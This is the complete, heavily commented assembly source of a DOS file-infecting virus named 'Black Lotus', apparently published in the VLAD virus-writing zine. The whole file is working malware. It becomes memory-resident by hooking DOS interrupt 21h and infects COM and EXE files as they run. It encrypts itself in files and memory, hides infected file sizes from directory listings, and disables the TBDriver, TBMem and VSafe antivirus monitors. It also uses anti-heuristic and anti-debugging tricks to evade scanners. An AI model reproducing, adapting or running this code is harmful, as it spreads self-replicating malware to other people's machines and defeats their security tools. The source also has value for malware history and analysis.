;Creator: Killer Bee
;Virus Name: 'Black Lotus'
;
; Features:
; * 64 bit xor File image encryption
; * 8 Bit xor Memory image encryption
; * Dir stealth. (Thanks Qark!)
; * Infects Com and Exe on execution 4B00h.
; * TBdriver and TBMem disabler.
; * Vsafe disabler.
; * Well commented source code... yur look'n at it!
; * Does a good job of hiding from AVs.
;
;
; Bugs: Dir Stealth doesn't work in Win95 dos box. Actually no virus I know
; has a Dir stealth that will opperate from a Win95 dos box. Win95 must
; be running the command.com from some API or the long file name
; function is somehow screwing things up. But Dir Stealth works fine in
; native dos mode. Stealth is accomplished by hooking int 21 and
; watching 11h/12h and 4eh/4fh function calls.
;
;
; TSR..................... Yes
; Encrypted............... Yes (File and Memory)
; Appending Virus......... Yes (of course)
; Com infector............ Yes
; Exe infector............ Yes
; Ovl infector............ No
; Sys infector............ No
; Boot infector........... No
; ReSet Attrib............ Yes
; ReSet Time/Date......... Yes (Put back as was found 'cept for seconds)
; Avoid Heuristic......... Yes (Stack, PSP verification)
; Disable Watchdogs....... Yes (VSAFE, TBDRIVER, TBMEM)
; Targets Checksums....... No
; Payload................. No (Not nice to blow up computers!)
; Message................. Yes
; Error trapping.......... Yes
; Directory Stealth....... Yes
;
;
; Compile with A86 ver 4.01
; Rename resulting .bin file to a .com... stir lightly and pour.
VXSize = heap-start
TAG = 2388h ;use this so it won't re-infect files.
;Also the stack pointer of EXE 'fected files.
;Allows a virus of about 2000 bytes in size-heap.
;This VX is about 1100 bytes.. plenty of room left.
;Increase number as need for bigger VXs.. but take
;care! TBSCAN flags if this number is too large.
org 0
;********************* Memory is encrypted / File NOT encrypted *************
start: ; *
mov bp, sp ;trick to get 'flex offset' to enable *
int 3 ;variables in someone else's .exe *
next: ; *
mov bp, ss:[bp-6] ;---^ *
sub bp, offset next ;--^ *
; *
push ds ; put original ds on stack *
push es ; put original es on stack *
; *
;//////////////// My patented anti-heuristic routine \\\\\\\\\\\\\\\\\\\\\\\*
cmp [0], 20CDh ;PSP? *
Je PSP_OK ;Yup all is ok. *
Jmp $-9000 ;nope... Scanner alert!!!! *
PSP_OK: ;Try this with FV386 and see what *
;happens. *
Call Encryption ; Decrypt file image. *
; *
;********************* Memory is encrypted / File NOT encrypted *************
Estart:
;\\\\\\\\\\\\\\\\ Use stack to test for program tracing ////////////////////
mov ax, 0BADh ;Our test number
push ax ;place it on stack
pop ax ;pop it off stack (moving the sp also)
dec sp ;now back up just for a second
dec sp ;
pop bx ;pop what's there. (bx 'should' = 0BAD)
cmp ax,bx ;Does it?
jne DamnTracer ;if not then we're being traced!!!
Jmp short J0 ;stupid debuggers!
DamnTracer:
Call Encryption ;This should screw 'em up good!
J0:
mov ax, 3069h ; Installation check disguised as
int 21h ; Dos check version.
cmp dx, 0F00Dh ; Already installed? 'F00D'
je done ; We're here already... so get out.
;Only need to call TBMem disabler once just before going resident.
;Once we are resident it doesn't matter what TBMem does then.
Call TBKiller ;Disable TBDriver.
Mov ax, 0FA01h ;put the sleepy watchdog to bed
mov dx, 5945h ; (vsafe disabler)
int 16h ;
mov ax, ds ; point ax at psp
dec ax ; ax now points at mcb
mov ds, ax ; make ds = mcb segment
sub word ptr ds:[3], (Endcode-start+15)/16+1
sub word ptr ds:[12h], (Endcode-start+15)/16+1
mov ax, ds:[12h] ;ax= newMCB
mov ds, ax ;ds= newMCB
inc ax ;ax= newPSP
mov es, ax ;ex= NewPSP
mov byte ptr ds:[0], 'Z' ;mark newMCB as last
mov word ptr ds:[1], 8 ;mark newMCB as DOS
mov word ptr ds:[3], (Endcode-start+15)/16 ;newMCB mem size
;in paragraphs
push cs ;Getting ready to move resident.
pop ds ;DS= code
xor di, di ;di= where we going
mov cx, (Heap-start)/2+1 ;size of VX to move
mov si, bp ;si= what we gonna move
rep movsw ;so move it then!
;We are now resident
xor ax, ax ;Get ready to hook some int's
mov ds, ax ;ds=0. IVT usually start here.
push ds ;save ds on stack
lds ax, ds:[21h*4] ; Get Int 21 handler
mov word ptr es:OldI21, ax ; save orig Int 21 Off
mov word ptr es:OldI21+2, ds ; save orig Int 21 Seg
pop ds ; get ds back again
mov word ptr ds:[21h*4], offset i21 ; Re-dir to our Int 21
mov ds:[21h*4+2], es ;
;We are running underneath the loaded virus so ds and es will not equal
;the cs when the memory encryption is done from here.
push es ;es-->
pop ds ;ds<-- (ds=es)
mov ax, 0ABCDh ;signal we are doing initial MemEnc
Call MemEnc1 ;Encrypt the Memory image before exiting.
done:
pop es ;Get orig es
pop ds ;Get orig ds
cmp sp, TAG
jne RestoreCOM ;Must be a com file
RestoreEXE:
mov ax, ds
add ax, 10h ;ax=VX cs
add cs:[bp+word ptr origCSIP+2], ax ;add VX+Orig = Seg to Host
add ax, cs:[bp+word ptr origSPSS] ;ditto
cli ;interrupts OFF
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti ;interrupts ON
db 0EAh ;jmp far too...
origCSIP dd 0fff00000h ;... here.
origSPSS dd ?
RestoreCOM:
mov di, 100h ;di=100 for copy of bytes
push di ;needed for ret.
lea si, [bp+offset ComByte] ;point at the orginal bytes
movsw
movsb
ret ;could've used jmp 100h and left off the push di
TBKiller:
push ds ;Fxxk TbDriver!
push 0000 ;
pop ds ;Start search at Seg 0000
push ax ;Save the state
push cx ;
push si ;
MOV CX,9000h ;search top 36k (a lot!)
xor si,si ;start at Offset 0--- top.
MOV AX,05EBH ;TbDriver's first part of signature
L1: CMP AX,[SI] ;
JE L3 ;If found check for next part of sig
L2: INC SI ;
LOOP L1 ;keep looking!
;
L3: JNZ GiveUp ;Must not be around.
CMP BYTE PTR[SI+2],0EAH ;Is it really TbDriver
JE L4 ;Yes it is!
JMP short L2 ;No it aint.
L4:
inc si
mov ds:[si b], 0 ;Gotcha!!
GiveUp: pop si ;Put data seg back like it was
pop cx ;Restore the state
pop ax ;
pop ds ;
ret
;%%%%%%%%%%%%%%% Values the virus carries around %%%%%%%%%%%%%%%%%%%%%
ComByte db 0cdh,20h,0 ;First 3 Com bytes go here.
AVFILES db 'TBF-FVIBVSIMSCMSDE'
NameVirus db 'Black Lotus virus ver 2.0'
Maker db 'Created by: Killer Bee. '
Dates db 'Finished on 96-08-15'
Message db "i'm losing ground "
db "you know how this world can beat you down "
db "i'm made of clay "
db "i fear i'm the only one who thinks this way "
db "i'm always falling down the same hill "
db "bamboo puncturing this skin "
db "and nothing comes bleeding out of me just like a waterfall i'm drowning in "
db "2 feet below the surface i can still make out your wavy face "
db "and if i could just reach you maybe i could leave this place "
db "i do not want this "
db "i do not want this "
db "don't you tell me how i feel "
db "don't you tell me how i feel "
db "you don't know just how i feel "
db "i stay inside my bed"
db "i have lived so many lives in my head "
db "don't tell me that you care "
db "there really isn't anything, is there? "
db "you would know, wouldn't you? "
db "you extend your hand to those who suffer "
db "to those who know what it really feels like "
db "to those who've had a taste "
db "like that means something "
db "and oh so sike i am "
db "and maybe i don't have a choice "
db "and maybe that is all i have "
db "and maybe this is a cry for help "
db "i do not want this "
db "i do not want this "
db "don't you tell me how i feel "
db "don't you tell me how i feel "
db "you don't know just how i feel "
db "i want to know everything "
db "i want to be everywhere "
db "i want to fuck everyone in the world "
db "i want to do something that matters."
db "'i do not want this' NIN -trent reznor"
;avoid TBav,F-prot,FVx86,IBm,VSafe/VShield,IM.exe,SCan,MSav.
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;********************* Memory NOT encrypted / File is encrypted *************
i24: ; *
mov al, 3 ; *
iret ; *
; *
; This is where all the GOOD stuff goes on at! *
; *
i21: ; *
pushf
cmp ax, 3069h ;Was that a knock on my door? *
jz VX_Check ;Why yes it was! Let him know we're home. *
; *
; cmp ah, 0FBh ; testing only *
cmp ah, 4Bh ; Someone executing? *
jz execute ; Yup. *
; *
cmp ah, 11h ;FCB find first *
jz directory ; *
cmp ah, 12h ;FCB find next *
jz directory ; *
; *
cmp ah, 4eh ;Find first *
jz FindF_N ; *
cmp ah, 4fh ;Find next *
jz FindF_N ; *
; *
;Nothing happened that we care about so let Dos do it's thing *
; *
return: ; *
jmp exitint21 ; *
; *
Directory: ; *
Call MemEnc1 ;Decrypt memory *
jmp DirStealth ; *
; *
FindF_N: ; *
Call MemEnc1 ;Decrypt memory *
popf ;get off my stack! ; *
Jmp FirstNext ; *
; *
VX_Check: ; *
mov dx, 0F00Dh ;replace it with our check. *
jmp exitint21 ;let Int 21 finish the job. *
; *
; *
execute: ; *
Push ax ;Save it to the stack *
Push bx ;for a clean return to *
Push cx ;the interrupt after virus is done *
Push dx ; *
Push ds ; *
Push es ; *
Push di ; *
Push si ; *
Push bp ; *
pushf
; *
Call MemEnc1 ;Decrypt memory *
; *
;********************* Memory NOT encrypted / File is encrypted *************
Execute1:
; call TBKiller ;make me happy!
;removed to save time ^^^
push dx
Mov ax, 0FA01h ;put the sleepy watchdog to bed
mov dx, 5945h ; (vsafe disabler)
int 16h ;
pop dx
mov word ptr Hostname, dx ;save Seg:off of ASCIIZ filename
mov word ptr Hostname+2, ds ;
mov bx, dx
xor si, si ;Routine to help with finding
ReadName: ;out just who we're infecting
cmp byte ptr [bx+si], '.' ;and who not to infect.
je NameEnd
inc si
jmp short ReadName
NameEnd:
mov di, si
J5:
cmp byte ptr [bx+di],'\'
je NameBegin
dec di
cmp di, -1
je NameBegin
jmp short J5
NameBegin:
inc di
;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
; Put checks for all the file names you want to avoid...
; ...HERE
;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
push si
xor si, si
mov cl, 9 ; 9 name checks.
LO1:
mov ax, CS:[offset AVFILES+si]
cmp word ptr [bx+di], ax
jne J1
pop si
jmp DoTheMem
J1:
inc si
inc si
loop LO1
pop si
inc si
add bx,si
mov word ptr Extname, bx ;save Seg:off of ASCIIZ filename
mov word ptr Extname+2, ds ;
mov ax, 3524h ;get Int 24
int 21h ;let dos do it
push es ;save for the put back
push bx ;ditto
push ds ;ds==>
push cs ;cs==>
pop ds ;ds<==cs
mov ax, 2524h ;re-dir to my Int 24
lea dx, offset I24
int 21h
pop ds ;ds<==ds
push cs ;cs=>> stack
pop es ;es<<=cs
mov ax, 4300h ;Get attributes
lds dx, Hostname ;of this file
int 21h ;let dos doit
jc LongReturn ; ...problem!
Jmp Short J3
LongReturn:
Jmp Return1 ;I hate chained jumps
J3:
push cx ;save attributes
push ds ;save ptr to ASCIIZ filename
push dx ;
mov ax, 4301h ;clear attributes
xor cx, cx
int 21h
mov ax, 3D02h ;open for read/write
lds dx, Hostname
int 21h
mov bx, ax ;put handle in bx
push cs ;cs-->
pop ds ;ds<--
mov ax, 5700h ;get file time/date
int 21h ;let dos do it
push cx ;save 'em on stack
push dx ;
mov ah, 3Fh ;Read from file
mov cx, 1Ch ;this many bytes
mov dx, offset buffer ;put it here.
int 21h ;let dos do it
mov ax, 4202h ;Point to end of file
xor cx, cx
xor dx, dx
int 21h ;let dos do it
;DX:AX = TRUE file size
mov word ptr [HostSize+2], dx ;save file size
mov word ptr [HostSize], ax
cmp word ptr [offset buffer], 'ZM' ; Exe file?
jz CheckExe ; might be a com.
push ds ;save ds
push di
lds di, ss:[ExtName] ;get file extention
cmp word ptr[di], 'OC' ;is it a COm?
pop di
pop ds
jne Jmp_close ;nope..
mov cx, word ptr [offset buffer+1] ; jmp location
add cx, Heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(Heap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, 1200 ; check if too small (bait)
jb jmp_close ; Exit if so
mov di, offset ComByte
mov si, offset buffer
movsw
movsb
;ax = size of file. Sub 3 from size of file because of the jump and that is
;offset to the end of the file. put a jump in front of that and it jmps to
;the end of file and to our code.
mov cx, 0003h ;our jump size
sub ax, cx ;take from ax
mov word ptr [offset buffer+1], ax ;offset to EOF mov to top
mov dl, 00E9h ;coded jmp
mov byte ptr [offset buffer], dl ;move it in there
Call KeyMe ;Make Key for encryption
jmp ComInfect ;jmp past exe stuff
CheckEXE:
cmp word ptr [offset buffer+10h], tag ;We here?
je Jmp_close
cmp word ptr [offset buffer+1Ah], 0 ;Overlay??
jne Jmp_close
cmp byte ptr [offset buffer+18h],52h ; pklite'd?
je Skipp ;Pklite is ok by us!
cmp byte ptr [offset buffer+18h],40h ; don't NE/PE
jge Jmp_close ;Must be a NE/PE exe. Bad news.
mov ax, [buffer+04] ;ax=num of 512 file pages
dec ax ;last page isn't 512
mov cx, 200h ;prep for mul by 512
mul cx ;SLOW mul
mov cx, [buffer+02] ;cx=byte size of last page
add ax, cx ;add last page size to ax
;DX:AX = header stated file size
mov cx, word ptr [HostSize+2]
cmp cx, dx ;Head-Size match Size?
jne Jmp_Close ;Must have internal overlay
mov cx, word ptr [HostSize]
cmp cx, ax ;Head-Size match Size?
jne Jmp_Close ;Must have internal overlay
Jmp short Skipp ;got this far all is well! Infect it!
jmp_close:
jmp close ; forget it.
KeyMe:
;^^^^^^^^^^^^^^^^^^^^^ Let's make a key ! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
push cx ; save regs we are about to use
push dx ;
push ax ;
mov ah, 2ch ;use Get Time for Encrypt Value----+
int 21h ; Sorta Random |
mov word ptr EnValue, dx ;dx= sec/hun Eight (64) |
mov word ptr EnValue+2, cx ;cx= hour/min Digit (Bit) |
add dh, dl ; Key |
add dl, ah ; |
mov word ptr Envalue+4, dh ; |
mov word ptr Envalue+5, dl ; |
sub cl, dh ; |
mov word ptr Envalue+6, dh ; |
mov word ptr Envalue+7, cl ;----------------------------------+
pop ax ; restore regs
pop dx ;
pop cx ;
ret ;
;vvvvvvvvvvvvvvvvvvvvv Let's make a key! vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
skipp:
Call KeyMe ;Make Key for encryption
lea si, buffer+14h ;
lea di, origCSIP ;
movsw ; Save original CS and IP
movsw ;
sub si, 0Ah ;
movsw ; Save original SS and SP
movsw ;
push bx ; save file handle
mov bx, word ptr [buffer+8] ;Header size in 16 byte para's
mov cl, 4
shl bx, cl ; mul by 10h (16)
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0 ; DX:AX - BX -> DX:AX
mov cx, 10h
div cx ; slow div!! by 10h (16)
mov word ptr [buffer+16h], ax
Test al, 1
jz EvenStack ; 'Proper' stacks have even segments
dec ax
Jmp short OddStack
EvenStack:
Inc ax ; don't want cs and ss to be the same
Inc ax ; TBAV flags it if they are.
OddStack:
mov word ptr [buffer+0Eh], ax
mov word ptr [buffer+14h], dx
mov word ptr [buffer+10h], tag
pop ax ; Filelength in DX:AX
pop dx
add ax, Heap-start
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [buffer+4], dx ; Rework file size in the header
mov word ptr [buffer+2], ax ; ditto
pop bx ; restore file handle
ComInfect:
;))))))))))))))))))) Move to buffer and encrypt it )))))))))))))))))))))))))
mov si, offset Start
mov cx, offset OpBuffer - offset Start
mov di, offset OpBuffer
rep movsb
mov bp, offset OpBuffer - offset Start
Call Encryption
;((((((((((((((((((( Move to buffer and encrypt it (((((((((((((((((((((((((
mov ah, 40h ; concatenate virus
mov cx, Heap - start
mov dx, offset OpBuffer
int 21h ;let dos do it
mov ax, 4200h ;point to beginning of file
xor cx, cx
cwd
int 21h ;let dos do it
mov ah, 40h ;do the header
mov cx, 1Ch
mov dx, offset buffer
int 21h ;let dos do it
close:
pop dx ; get original date/time...
pop cx ; ...off stack
mov al,ch ;mov to al for tagging
and al,1fh ;
and cl,0e0h ;(used in stealthing)
or cl,al ;
mov ax, 5701h ;put this on the file
int 21h ;let dos do it
mov ah, 3Eh ;close file (bx=handle)
int 21h ;let dos do it
mov ax, 4301h ;Set attribute
pop dx ;get file name back
pop ds ;
pop cx ;Attributes to set
int 21h
Return1:
mov ax, 2524h ; Put the error handler back.
pop dx
pop ds
int 21h
;********************* Memory NOT encrypted / File is encrypted *************
DotheMem: ; *
; *
Call MemEnc1 ;Encrypt memory *
popf ; *
Pop bp ; *
Pop si ;Restore everything ; *
Pop di ; *
Pop es ; *
Pop ds ; *
Pop dx ; *
Pop cx ; *
Pop bx ; *
Pop ax ; *
; *
exitint21: ; *
; *
popf
db 0EAh ; Jump to original Int 21. *
OldI21 dd ? ; seg:off of original Int 21. *
;********************* Memory NOT encrypted / File is encrypted *************
DirStealth:
pushf
call dword ptr cs:[oldi21] ; call it
test al,al ; Found what looking for?
jne EscDir ; no so get out
push es
push ax ;Save whatcha change
push bx
push si
mov ah,2fh ;Get DTA
pushf
call dword ptr cs:[oldi21] ; call it
xchg si,bx
cmp byte ptr es:[si],0ffh ;is it Extended?
jne IsntExtFCB
add si,7 ;Yup. Move it to drive byte
IsntExtFCB:
mov bx,word ptr es:[si+17h] ;Move time.
and bx,1f1fh
cmp bl,bh
jne DoneDir ;Is our marker set ?
sub word ptr es:[si+1dh],offset Heap
sbb word ptr es:[si+1fh],0
DoneDir:
pop si
pop bx
pop ax
pop es
;********************* Memory NOT encrypted / File is encrypted *************
EscDir: ; *
; *
Call MemEnc1 ;Encrypt memory *
popf ; *
iret ; *
;********************* Memory NOT encrypted / File is encrypted *************
FirstNext:
pushf
call dword ptr cs:[oldi21]
jc EscSearch
push es ;Save whatcha change
push bx
push si
mov ah,2fh
pushf
call dword ptr cs:[oldi21]
xchg si,bx
mov bx,word ptr es:[si+16h]
and bx,1f1fh
cmp bl,bh
jne DoneSearch ;Time set to us?
sub word ptr es:[si+1ah],offset Heap
sbb word ptr es:[si+1ch],0
DoneSearch:
pop si
pop bx
pop es
clc ;need to pass this back
;********************* Memory NOT encrypted / File is encrypted *************
EscSearch: ; *
Call MemEnc1 ;Encrypt memory *
retf 2 ;don't pop flags *
; *
MemEnc1: ; *
pushf ; *
cmp ax, 0ABCDh ; *
je J10 ; *
push ds ; Make ds and es equal cs if *
push es ; we are resident in memory. *
push cs ; But if we are running from the host *
push cs ; file we need ds to equal es and not *
pop es ; cs. *
pop ds ; *
; *
J10: ; *
push ax ; *
push cx ; *
push si ; *
push di ; *
; *
push 7100h ; *
push offset Heap ; *
push offset Encryption ; *
; *
push 9900h ; *
push offset EscSearch ; *
push offset FirstNext ; *
; *
push 0CD00h ; *
push offset EscDir ; *
push offset DirStealth ; *
; *
push 1200h ; *
push offset DoTheMem ; *
push offset Execute1 ; *
; *
push 6900h ; *
push offset i24 ; *
push offset start ; *
; *
J9: ; *
pop si ;get start *
pop cx ;get end *
sub cx, si ;sub to get num of bytes *
pop ax ;xor value *
mov di, si ;point at code to xor *
; *
MLoop1: ; *
lodsb ; *
xor al, ah ; *
stosb ; *
loop MLoop1 ; *
; *
cmp ah, 71h ;finished? *
jne J9 ; *
; *
pop di ; *
pop si ; *
pop cx ; *
pop ax ; *
cmp ax, 0ABCDh ; *
je HostRun2 ; *
pop es ; *
pop ds ; *
HostRun2: ; *
popf ; *
ret ; *
;********************* Memory NOT encrypted / File is encrypted *************
;********************* Memory encrypted / File NOT encrypted ****************
Encryption: ; *
push ax ; *
push dx ; *
push ds ; *
; *
push cs ; *
pop ds ; *
xor di, di ; *
lea si, [bp+EStart] ; *
mov cx, offset Encryption - offset EStart ; *
EnDe: ; *
mov ah, byte ptr si ; *
xor ah, ds:[bp+di+EnValue] ; *
mov byte ptr si, ah ; *
inc di ; *
and di, 7 ; *
inc si ; *
loop EnDe ; *
; *
pop ds ; *
pop dx ; *
pop ax ; *
ret ; *
EnValue db 8 dup 0 ; Encryption Value ; *
;********************* Memory encrypted / File NOT encrypted ****************
Heap:
Hostname dd 0 ;Seg:Off to Host file name
HostSize dd 0 ;Seek-End size of Host file
Extname dd 0 ;Seg:Off to Host file name
buffer db 1ch dup 0 ;buffer for exe-header
OpBuffer db VXSize+64h dup 0;Opcode buffer for encryption and...
Endcode: ;...doubles as a stack
- VLAD #7 INDEX -